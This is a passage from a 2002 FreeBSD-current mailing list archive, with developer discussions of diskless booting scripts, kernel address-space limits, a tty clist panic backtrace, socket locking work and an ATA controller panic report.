2002 06:58:36 +0200 Message-ID: <96286.1019624316@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message <20020423224421.B69940@neutrino.bsdhome.com>, Brian Dean writes: >On Tue, Apr 23, 2002 at 01:54:17PM +0200, Poul-Henning Kamp wrote: >> This commit detects a memory overwrite problem in the kernel which >> happens before we ever get into userland for the first time. > >Do you know the address being corrupted? If so, try breaking into ddb >early on and set a hardware watchpoint. It was a modified pointer being returned to free(9), it's solved now. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 22: 5:23 2002 Delivered-To: freebsd-current@freebsd.org Received: from HAL9000.wox.org (12-232-222-90.client.attbi.com [12.232.222.90]) by hub.freebsd.org (Postfix) with ESMTP id 2EBC937B41A; Tue, 23 Apr 2002 22:05:16 -0700 (PDT) Received: (from das@localhost) by HAL9000.wox.org (8.11.6/8.11.6) id g3O548W03772; Tue, 23 Apr 2002 22:04:08 -0700 (PDT) (envelope-from das) Date: Tue, 23 Apr 2002 22:04:08 -0700 From: David Schultz To: Terry Lambert Cc: kalts@estpak.ee, "Marc G. Fournier" , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Message-ID: <20020423220408.C3593@HAL9000.wox.org> Mail-Followup-To: Terry Lambert , kalts@estpak.ee, "Marc G. Fournier" , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG References: <3CC4C683.F9AEF14E@mindspring.com> <20020423092909.N1721-100000@mail1.hub.org> <20020423184534.GA30212@myhakas.estpak.ee> <3CC5B52B.49A5A719@mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3CC5B52B.49A5A719@mindspring.com>; from tlambert2@mindspring.com on Tue, Apr 23, 2002 at 12:25:31PM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thus spake Terry Lambert : > Writing a useful (non-"fluff") technical book, optimistically, > takes 2080 hours ... or 40 hours per week for 52 weeks... a man > year. > > By the time you are done, the book is a year out of date, and > even if you worked really hard and kept it up to date (e.g. you > had 4 authors and spent only 6 months of wall time on the book), > the shelf life on the book is still pretty short. Although it would be unreasonable to comprehensively document the kernel internals and expect the details to remain valid for a year, there is a great deal of lasting information that could be conveyed. For example, Kirk's 4.[34]BSD books cover obsolete systems, and yet much of what they say applies equally well to recent versions of FreeBSD. It's true that the specific question ``How do I change my KVA size?'' might have different answers at different times, but I doubt that the ideas behind an answer have all been invented in the last few months. Even things like PAE, used by the Linux 2.4 kernel, remind me of how DOS dealt with the 1 MB memory limit. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 22:33: 6 2002 Delivered-To: freebsd-current@freebsd.org Received: from 12-234-22-238.client.attbi.com (12-234-90-219.client.attbi.com [12.234.90.219]) by hub.freebsd.org (Postfix) with ESMTP id 0FB5937B405; Tue, 23 Apr 2002 22:33:03 -0700 (PDT) Received: from Master.gorean.org (master.gorean.org [10.0.0.2]) by 12-234-22-238.client.attbi.com (8.12.2/8.12.2) with ESMTP id g3O5WvHt079355; Tue, 23 Apr 2002 22:32:57 -0700 (PDT) (envelope-from DougB@FreeBSD.org) Received: from Master.gorean.org (zoot [127.0.0.1]) by Master.gorean.org (8.12.2/8.12.2) with ESMTP id g3O5WxLr066560; Tue, 23 Apr 2002 22:32:59 -0700 (PDT) (envelope-from DougB@FreeBSD.org) Received: from localhost (doug@localhost) by Master.gorean.org (8.12.2/8.12.2/Submit) with ESMTP id g3O5WxP8066557; Tue, 23 Apr 2002 22:32:59 -0700 (PDT) X-Authentication-Warning: Master.gorean.org: doug owned process doing -bs Date: Tue, 23 Apr 2002 22:32:59 -0700 (PDT) From: Doug Barton X-X-Sender: doug@master.gorean.org To: "David O'Brien" Cc: Danny Braniss , Freebsd Current Subject: Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting In-Reply-To: <20020422144217.A73087@dragon.nuxi.com> Message-ID: <20020423223040.K66402-100000@master.gorean.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 22 Apr 2002, David O'Brien wrote: > +if [ -z "`hostname -s`" ]; then > + hostname=`kenv dhcp.host-name` > + hostname $hostname > + echo "Hostname is $hostname" > +fi If you wanted to match the style for most of the rc* files, and avoid an unecessary call to 'test,' you could do: case `hostname -s` in '') foo ;; esac Not a big deal, but I thought I'd mention it. :) Doug -- "We have known freedom's price. We have shown freedom's power. And in this great conflict, ... we will see freedom's victory." - George W. Bush, President of the United States State of the Union, January 28, 2002 Do YOU Yahoo!? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 23:19:47 2002 Delivered-To: freebsd-current@freebsd.org Received: from cs.huji.ac.il (cs.huji.ac.il [132.65.16.10]) by hub.freebsd.org (Postfix) with ESMTP id C83A137B41B; Tue, 23 Apr 2002 23:19:34 -0700 (PDT) Received: from pampa.cs.huji.ac.il ([132.65.80.32] ident=danny) by cs.huji.ac.il with esmtp (Exim 3.35 #2) id 170G7o-0002Dy-00; Wed, 24 Apr 2002 09:19:32 +0300 X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: obrien@FreeBSD.ORG Cc: Robert Watson , Terry Lambert , Freebsd Current Subject: Re: diskless booting In-Reply-To: Message from "David O'Brien" of "Tue, 23 Apr 2002 10:40:40 PDT." <20020423104040.A2524@dragon.nuxi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 24 Apr 2002 09:19:32 +0300 From: Danny Braniss Message-Id: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > On Tue, Apr 23, 2002 at 08:32:51PM +0300, Danny Braniss wrote: > > > On Tue, Apr 23, 2002 at 12:19:58PM -0400, Robert Watson wrote: > > > > diskless_root_readonly="NO" # Make it "YES" for readonly > > > > > > good. > > > > > > > diskless_etc_localmd="NO" # Make it "YES" to have the > > > > # diskless environment md-mount and replicate /etc from /conf > > > > > > Seems the "if [ -d ]" tests in rc.diskless are OK already. If we add > > > this knob, then a knob should also be added for the source of the files > > > rather than assuming /conf/etc or /conf/{client}/etc. In other words > > > either really engineer this to make diskless properly configurable, or > > > have the minimal number of knobs, etc. > > > > nice, but impractical, because of the chicken and egg problem, or in other > > words, the load/over-write of rc.conf[.local] happens a bit later ... > > Please explain farther what is impractical and where the chicken-and-egg > problem is. I rc.diskless1 already has: > > if [ -d /conf/default/etc ]; then > ..snip.. > if [ -d /conf/${i}/etc ]; then in rc.diskless1 is where the decision is made about /etc, /tmp, /var. the mount is done some lines before the test. i guess a first run could be made, before the actual mount: ... echo "Interface ${bootp_ifc} IP-Address ${bootp_ipa} Broadcast ${bootp_ipbca}" for i in ${bootp_ipbca} ${bootp_ipa} ${hostname} ; do if [ -d /conf/${i}/etc ]; then if [ -r /conf/${i}/etc/rc.conf ]; then . /etc/defaults/rc.conf ... IMHO, the solution is a bit of klduge :-), and sort of breaks the KISS principle. danny To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 23:20:13 2002 Delivered-To: freebsd-current@freebsd.org Received: from perd1.estpak.ee (ld1.estpak.ee [194.126.101.98]) by hub.freebsd.org (Postfix) with ESMTP id 2A1C737B423; Tue, 23 Apr 2002 23:19:45 -0700 (PDT) Received: from myhakas.estpak.ee (myhakas.estpak.ee [194.126.115.54]) by perd1.estpak.ee (Postfix) with ESMTP id AF4D38808C; Wed, 24 Apr 2002 09:18:18 +0300 (EEST) Received: from myhakas.estpak.ee (localhost [127.0.0.1]) by myhakas.estpak.ee (8.12.2/8.12.2) with ESMTP id g3O6IIC9033315; Wed, 24 Apr 2002 09:18:18 +0300 (EEST) (envelope-from vallo@myhakas.estpak.ee) Received: (from vallo@localhost) by myhakas.estpak.ee (8.12.2/8.12.2/Submit) id g3O6GrYl033291; Wed, 24 Apr 2002 09:16:53 +0300 (EEST) Date: Wed, 24 Apr 2002 09:16:53 +0300 From: Vallo Kallaste To: "Marc G. Fournier" , Terry Lambert , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Message-ID: <20020424061653.GA33245@myhakas.estpak.ee> Reply-To: kalts@estpak.ee References: <3CC4C683.F9AEF14E@mindspring.com> <20020423092909.N1721-100000@mail1.hub.org> <20020423184534.GA30212@myhakas.estpak.ee> <20020423214011.B3593@HAL9000.wox.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020423214011.B3593@HAL9000.wox.org> User-Agent: Mutt/1.5.0i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Apr 23, 2002 at 09:40:11PM -0700, David Schultz wrote: > > Userspace processes will allocate memory from UVA space and can > > grow over 1GB of size if needed by swapping. You can certainly > > have more than one over-1GB process going on at the same time, > > but swapping will constrain your performance. > > It isn't a performance constraint. 32-bit architectures have > 32-bit pointers, so in the absence of segmentation tricks, a > virtual address space can only contain 2^32 = 4G locations. If > the kernel gets 3 GB of that, the maximum amount of memory that > any individual user process can use is 1 GB. If you had, say, 4 > GB of physical memory, a single user process could not use it all. > Swap increases the total amount of memory that *all* processes can > allocate by pushing some of the pages out of RAM and onto the > disk, but it doesn't increase the total amount of memory that a > single process can address. Thank you, Terry and David, now I grasp how it should work (I hope). I really miss some education, but that's life. -- Vallo Kallaste kalts@estpak.ee To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 23:31:57 2002 Delivered-To: freebsd-current@freebsd.org Received: from cs.huji.ac.il (cs.huji.ac.il [132.65.16.10]) by hub.freebsd.org (Postfix) with ESMTP id 48DC537B404; Tue, 23 Apr 2002 23:31:53 -0700 (PDT) Received: from pampa.cs.huji.ac.il ([132.65.80.32] ident=danny) by cs.huji.ac.il with esmtp (Exim 3.35 #2) id 170GJb-0002Rb-00; Wed, 24 Apr 2002 09:31:43 +0300 X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: Robert Watson , David O'Brien , Freebsd Current Subject: Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting In-Reply-To: Message from Terry Lambert of "Tue, 23 Apr 2002 11:17:11 PDT." <3CC5A527.180DB66D@mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 24 Apr 2002 09:31:43 +0300 From: Danny Braniss Message-Id: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Robert Watson wrote: > > This would provide full compatibility with the current model for those > > that want it (and I think it's more people than you think) at the same > > time as changing the system to provide easy support for the environment > > you're looking for. If the default settings are changing, it should be a > > "5.0 feature" not a "4.x feature". > > FWIW, I thought this was a "new feature", since diskless/dataless > has never really worked for me, without a lot of local hacking to > make it work. > the first time around this was a real problem for me, starting off with FreeBSD and also doing the diskless stuff, now some time later (hum, about 2 years?), i tried it from scratch with 5.0 - it took me almost no time! adding the local mods took more time since i was (not very successfuly) recording the changes i was doing :-( btw, i did not have to do no 'lot of local hacking' to get it working: newfs /c/2; cd /c/2; dump 0f - / | restore rf - (brute force to get most of the local environment :-) make installworld DESTDIR=/c/2 and i could start booting 5.0 danny To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 23:36:30 2002 Delivered-To: freebsd-current@freebsd.org Received: from cs.huji.ac.il (cs.huji.ac.il [132.65.16.10]) by hub.freebsd.org (Postfix) with ESMTP id 2683C37B41A; Tue, 23 Apr 2002 23:36:26 -0700 (PDT) Received: from pampa.cs.huji.ac.il ([132.65.80.32] ident=danny) by cs.huji.ac.il with esmtp (Exim 3.35 #2) id 170GO8-0002YK-00; Wed, 24 Apr 2002 09:36:24 +0300 X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: Robert Watson , David O'Brien , Freebsd Current Subject: Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting In-Reply-To: Message from Terry Lambert of "Tue, 23 Apr 2002 11:57:39 PDT." <3CC5AEA3.CC26EB52@mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 24 Apr 2002 09:36:24 +0300 From: Danny Braniss Message-Id: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Robert Watson wrote: > > I have't really used the diskless environment with 4.x, but use it > > extensively in my test/development environments for 5.0. Stateless > > workstations are great when it comes to file system debugging, especially > > since newfs is orders of magnitude faster than fsck :-). > > THat is what I primarily use them for, as well. > > -- Terry true, true, it's nice to be able to fix bugs on a running system, and trying it out on a diskless/dataless! but im also deploying servers dataless, it makes upgrading them less problematic. danny To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 23:43:52 2002 Delivered-To: freebsd-current@freebsd.org Received: from cs.huji.ac.il (cs.huji.ac.il [132.65.16.10]) by hub.freebsd.org (Postfix) with ESMTP id B8BEE37B41B; Tue, 23 Apr 2002 23:43:35 -0700 (PDT) Received: from pampa.cs.huji.ac.il ([132.65.80.32] ident=danny) by cs.huji.ac.il with esmtp (Exim 3.35 #2) id 170GV4-0002hE-00; Wed, 24 Apr 2002 09:43:34 +0300 X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Doug Barton Cc: "David O'Brien" , Freebsd Current Subject: Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting In-Reply-To: Message from Doug Barton of "Tue, 23 Apr 2002 22:32:59 PDT." <20020423223040.K66402-100000@master.gorean.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 24 Apr 2002 09:43:34 +0300 From: Danny Braniss Message-Id: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > On Mon, 22 Apr 2002, David O'Brien wrote: > > > +if [ -z "`hostname -s`" ]; then > > + hostname=`kenv dhcp.host-name` > > + hostname $hostname > > + echo "Hostname is $hostname" > > +fi > > If you wanted to match the style for most of the rc* files, and avoid an > unecessary call to 'test,' you could do: > > case `hostname -s` in > '') > foo > ;; > esac > > Not a big deal, but I thought I'd mention it. :) > > Doug done, and thanks, danny To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 0:34:55 2002 Delivered-To: freebsd-current@freebsd.org Received: from cs.huji.ac.il (cs.huji.ac.il [132.65.16.10]) by hub.freebsd.org (Postfix) with ESMTP id 3DBC837B41C; Wed, 24 Apr 2002 00:34:53 -0700 (PDT) Received: from pampa.cs.huji.ac.il ([132.65.80.32] ident=danny) by cs.huji.ac.il with esmtp (Exim 3.35 #2) id 170HIh-00045V-00; Wed, 24 Apr 2002 10:34:51 +0300 X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Freebsd Current Cc: "David O'Brien" , Doug Barton , Robert Watson , Terry Lambert Subject: what if/diskless booting Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 24 Apr 2002 10:34:51 +0300 From: Danny Braniss Message-Id: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG at stage 1, the diskless host sends out a bootp/dhcp request, the dhcpd servers sends back some packets, and pxeloader gets tftp'ed. i modified libstand/bootp.c to place all the tags - that dhcp provides - in the kernel environmet, so that they can be used later - eg in rc.diskless1. what if: we place the rc.conf[.local] there? in the dhcpd.conf: option rc-conf "132.65.16.100:/d/4/etc/rc.conf" and so - automagicaly - `kenv rc.conf.diskless_root_readonly` or kenv | grep rc.conf | sed 's/rc.conf.//' > rc.conf i'll work now on the 'automagicaly' part :-) danny To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 3: 8:59 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id 98ED037B420; Wed, 24 Apr 2002 03:08:52 -0700 (PDT) Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102]) by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id UAA16676; Wed, 24 Apr 2002 20:08:24 +1000 Date: Wed, 24 Apr 2002 20:09:24 +1000 (EST) From: Bruce Evans X-X-Sender: bde@gamplex.bde.org To: Robert Watson Cc: current@FreeBSD.ORG Subject: Re: panic: clist reservation botch In-Reply-To: Message-ID: <20020424194640.P15424-100000@gamplex.bde.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 23 Apr 2002, Robert Watson wrote: > This was from the TrustedBSD MAC branch, but it's not clear to me that > this relates to the MAC patches. Have't seen this before; this box is > a pxe-booted NFS-mounted system. Kernel and userland may be out of sync, > but all modules should be in sync. System is on a serial console. This panic was last reported for a USB modem in -RELENG_4.x. I think it is just a missing spltty() in usb there. > Configuring syscons: blanktimepanic: clist reservation botch > cpuid = 1; lapic.id = 01000000 > Debugger("panic") > Stopped at Debugger+0x41: xorl %eax,%eax > db> trace > Debugger(c03de45a) at Debugger+0x41 > panic(c03e429f,c0445620,c8e3f200,c8e3f200,c982ab08) at panic+0xd8 > cblock_free_cblocks(b,c8e3f200,c982ab28,c0274fd8,c8e3f200) at cblock_free_cblocks+0x29 > clist_free_cblocks(c8e3f200,c8e3f238,c8e3f21c,c8e3f200,3) at clist_free_cblocks+0x20 > ttyclose(c8e3f200,c8e3f200,1,c98315a0,c939ca48) at ttyclose+0x44 > ttyclose(c8e3f200,c8e3f200,1,c98315a0,c939ca48) at ttyclose+0x44 > scclose(c049a518,1,2000,c939ca48,c049a518) at scclose+0xd6 > spec_close(c982ab94,c982aba8,c02995ec,c982ab94,c93ab03c) at spec_close+0x11a > spec_vnoperate(c982ab94,c93ab03c,c93ab03c,c0417ee0,c98315a0) at spec_vnoperate+0x15 > vn_close(c98315a0,1,c3f76a00,c939ca48,c982ac08) at vn_close+0x40 > vn_closefile(c93ab03c,c939ca48,c93ab03c,c939ca48,0) at vn_closefile+0x1f > fdrop_locked(c93ab03c,c939ca48,c049cc00,0,c03daa33) at fdrop_locked+0x12c > fdrop(c93ab03c,c939ca48,1,c984b974,8) at fdrop+0x26 > closef(c93ab03c,c939ca48) at closef+0xa0 > fdfree(c939ca48,c982ad20,c939ca48,c982ad20,c939c948) at fdfree+0x80 > exit1(c939ca48,0,c0441740,0,c03db00e) at exit1+0x2af > sys_exit(c939ca48,c982ad20,2813c3f8,2805173c,0) at sys_exit+0x2a > syscall(2f,2f,2f,0,2805173c) at syscall+0x223 > syscall_with_err_pushed() at syscall_with_err_pushed+0x1b > --- syscall (1, FreeBSD ELF, sys_exit), eip = 0x280bb48b, esp = 0xbfbffd5c, ebp = 0xbfbffd88 --- The most important part of the trace is missing here. The panic is in clock_alloc(), which isn't in the trace. In -current, there is only the Giant lock to lock clist allocation. I can't see anywhere where it is missing (exit(2) is not MPSAFE, so Giant should be held in most of the above. Similarly for read(2) and write(2). The upper layer of tty interrupt handlers are not MPSAFE, so Giant should be held in them too. It is also important that free(9) doesn't block or otherwise release Giant. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 3:29:11 2002 Delivered-To: freebsd-current@freebsd.org Received: from falcon.prod.itd.earthlink.net (falcon.mail.pas.earthlink.net [207.217.120.74]) by hub.freebsd.org (Postfix) with ESMTP id 1464637B405; Wed, 24 Apr 2002 03:29:04 -0700 (PDT) Received: from pool0066.cvx21-bradley.dialup.earthlink.net ([209.179.192.66] helo=mindspring.com) by falcon.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 170K0S-0006Rd-00; Wed, 24 Apr 2002 03:28:12 -0700 Message-ID: <3CC688A0.316ED250@mindspring.com> Date: Wed, 24 Apr 2002 03:27:44 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: David Schultz Cc: kalts@estpak.ee, "Marc G. Fournier" , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? References: <3CC4C683.F9AEF14E@mindspring.com> <20020423092909.N1721-100000@mail1.hub.org> <20020423184534.GA30212@myhakas.estpak.ee> <3CC5B52B.49A5A719@mindspring.com> <20020423220408.C3593@HAL9000.wox.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG David Schultz wrote: > Thus spake Terry Lambert : > > Writing a useful (non-"fluff") technical book, optimistically, > > takes 2080 hours ... or 40 hours per week for 52 weeks... a man > > year. > > > > By the time you are done, the book is a year out of date, and > > even if you worked really hard and kept it up to date (e.g. you > > had 4 authors and spent only 6 months of wall time on the book), > > the shelf life on the book is still pretty short. > > Although it would be unreasonable to comprehensively document the > kernel internals and expect the details to remain valid for a year, > there is a great deal of lasting information that could be conveyed. > For example, Kirk's 4.[34]BSD books cover obsolete systems, and yet > much of what they say applies equally well to recent versions of > FreeBSD. These are general OS architecture books by a noted authority on OS architecture. That's a barrier to entry for other authors, as the intrinsic value in the information is not constrained to the direct subject of the work. 8-). Kirk is supposedly working on a similar book for FreeBSD, release date indeterminate. In any case, this doesn't resolve the issue of "Where do I go to do XXX to version YYY, without having to learn everything there is to know about YYY?". > It's true that the specific question ``How do I change my KVA size?'' > might have different answers at different times, but I doubt that the > ideas behind an answer have all been invented in the last few months. > Even things like PAE, used by the Linux 2.4 kernel, remind me of how > DOS dealt with the 1 MB memory limit. The PAE is the thing that Peter was reportedly working on in order to break the 4G barrier on machines capable of accessing up to 16G of RAM using bank selection. I didn't mention it by name, since the general principle is also applicable to the Alpha, which has a current limit of 2G because of DMA barrier and other constraints. While it's true that the ideas behind the answer remain the same... the ideas behind the answer are already published in the books I've already referenced in the context of this thread. If people were content to discover implementation details based on a working knowledge of general principles, then this thread would never have occurred in the first place. It's my opinion that people are wanting to do more in depth things to the operating system, and that there is a latency barrier in the way of them doing this. My participation in this discussion, and in particular, with regard to the publication of thorough and useful documentation, has really been around this point. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 4:14:33 2002 Delivered-To: freebsd-current@freebsd.org Received: from rina.r.dl.itc.u-tokyo.ac.jp (rina.r.dl.itc.u-tokyo.ac.jp [133.11.199.247]) by hub.freebsd.org (Postfix) with ESMTP id AC8BE37B41F; Wed, 24 Apr 2002 04:14:16 -0700 (PDT) Received: from sohgo.carrots.uucp.r.dl.itc.u-tokyo.ac.jp (sohgo.carrots.uucp.r.dl.itc.u-tokyo.ac.jp [IPv6:3ffe:b80:5b0:3:200:e8ff:fe14:9f8a]) by rina.r.dl.itc.u-tokyo.ac.jp (8.12.2/3.7W-rina.r-Nankai-Koya) with ESMTP id g3OBCi0o088852 ; Wed, 24 Apr 2002 20:12:45 +0900 (JST) Received: from sohgo.carrots.uucp.r.dl.itc.u-tokyo.ac.jp (localhost [IPv6:::1]) by sohgo.carrots.uucp.r.dl.itc.u-tokyo.ac.jp (8.12.2/3.7W-carrots-Tokyu-Meguro) with ESMTP id g3OBChph026311 ; Wed, 24 Apr 2002 20:12:43 +0900 (JST) Received: (from root@localhost) by sohgo.carrots.uucp.r.dl.itc.u-tokyo.ac.jp (8.12.2/3.7W-submit-carrots-Tokyu-Meguro) with UUCP id g3OBCKeh026310 ; Wed, 24 Apr 2002 20:12:21 +0900 (JST) Received: from bunko.nkth.carrots.uucp.r.dl.itc.u-tokyo.ac.jp (localhost [127.0.0.1]) by bunko (8.12.2/3.7W-nkth.carrots-Saitama-Misono) with ESMTP id g3OB8u8t006194 ; Wed, 24 Apr 2002 20:10:16 +0900 (JST) Message-Id: <200204241110.g3OB8u8t006194@bunko> Date: Wed, 24 Apr 2002 20:08:56 +0900 From: Seigo Tanimura To: current@FreeBSD.org, smp@FreeBSD.org Subject: Locking down a socket, milestone 1 Cc: Seigo Tanimura User-Agent: Wanderlust/2.8.1 (Something) SEMI/1.14.3 (Ushinoya) FLIM/1.14.3 (=?ISO-8859-1?Q?Unebigory=F2mae?=) APEL/10.3 MULE XEmacs/21.1 (patch 14) (Cuyahoga Valley) (i386--freebsd) Organization: Digital Library Research Division, Information Techinology Centre, The University of Tokyo MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I am now working on locking down a socket. (I have heard that Jeffrey Hsu is also doing that, but I have never seen his patch. Has anyone seen that?) My first milestone patch is now available at: http://people.FreeBSD.org/~tanimura/patches/socket_milestone1.diff.gz The works I have done so far are: - Determine the lock required to protect each of the members in struct socket. - Add mutexes to each of the sockbufs in a socket as BSD/OS does. - Lock down so_count, so_options, so_linger and so_state. - Add a global mutex socq_lock to protect the connection queues of a listening socket. Lock socq_lock to lock two sockets at once, followed by enqueuing or dequeuing a socket, or moving a socket across queues. socq_lock is not an sx lock because we usually have to lock two sockets to modify them. - Add a global sx sigio_lock to protect the pointer to the sigio object of a socket. This is to avoid lock order reversal caused by locking a process in pgsigio(). This lock should be applicable to a pipe as well. Although there are still lots of works to do, the patch has grown up quite a lot. so_options is the most notorious member in struct socket so far because it is used in almost all of the protocol stacks. I would therefore like to test, fix and merge the patch before it blows up. Comments are welcome. Thanks. -- Seigo Tanimura To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 4:44:43 2002 Delivered-To: freebsd-current@freebsd.org Received: from rigel.grass.st (rigel.grass.st [195.197.32.30]) by hub.freebsd.org (Postfix) with ESMTP id 138C937B416 for ; Wed, 24 Apr 2002 04:44:39 -0700 (PDT) Received: (from bsdcur@localhost) by rigel.grass.st (8.9.3/8.9.3) id OAA41441 for current@freebsd.org; Wed, 24 Apr 2002 14:43:13 +0300 (EEST) (envelope-from bsdcur) Date: Wed, 24 Apr 2002 14:43:13 +0300 From: mika ruohotie To: current@freebsd.org Subject: still ATA problems with promise tx2 Message-ID: <20020424144313.A41107@rigel.grass.st> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG hello, i couldnt decide from reading the list if there should or shouldnt be problems with promise ata/100 controller with current. anyway, i have problems with it. i've tried several current versions from the devel snapshot to apr 22nd and all of those fail after installation. in the floppy boot all looks ok, and it installs fine, but when i boot up after the installation it panics every time, looks like at the time the machine is probing for the controller. any ideas? i might be able to provide more information if this sounds like something which shouldnt be happening. (trace, whatever needed) this is a single disk on that controller. no errors during the installation. [this is an attempt to make a fresh installation, all my other current machines are too old to be helpfull] mickey To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 5:18:27 2002 Delivered-To: freebsd-current@freebsd.org Received: from freebsd.dk (fw-rl0.freebsd.dk [212.242.86.114]) by hub.freebsd.org (Postfix) with ESMTP id C3A2F37B41B for ; Wed, 24 Apr 2002 05:18:22 -0700 (PDT) Received: (from sos@localhost) by freebsd.dk (8.12.2/8.12.2) id 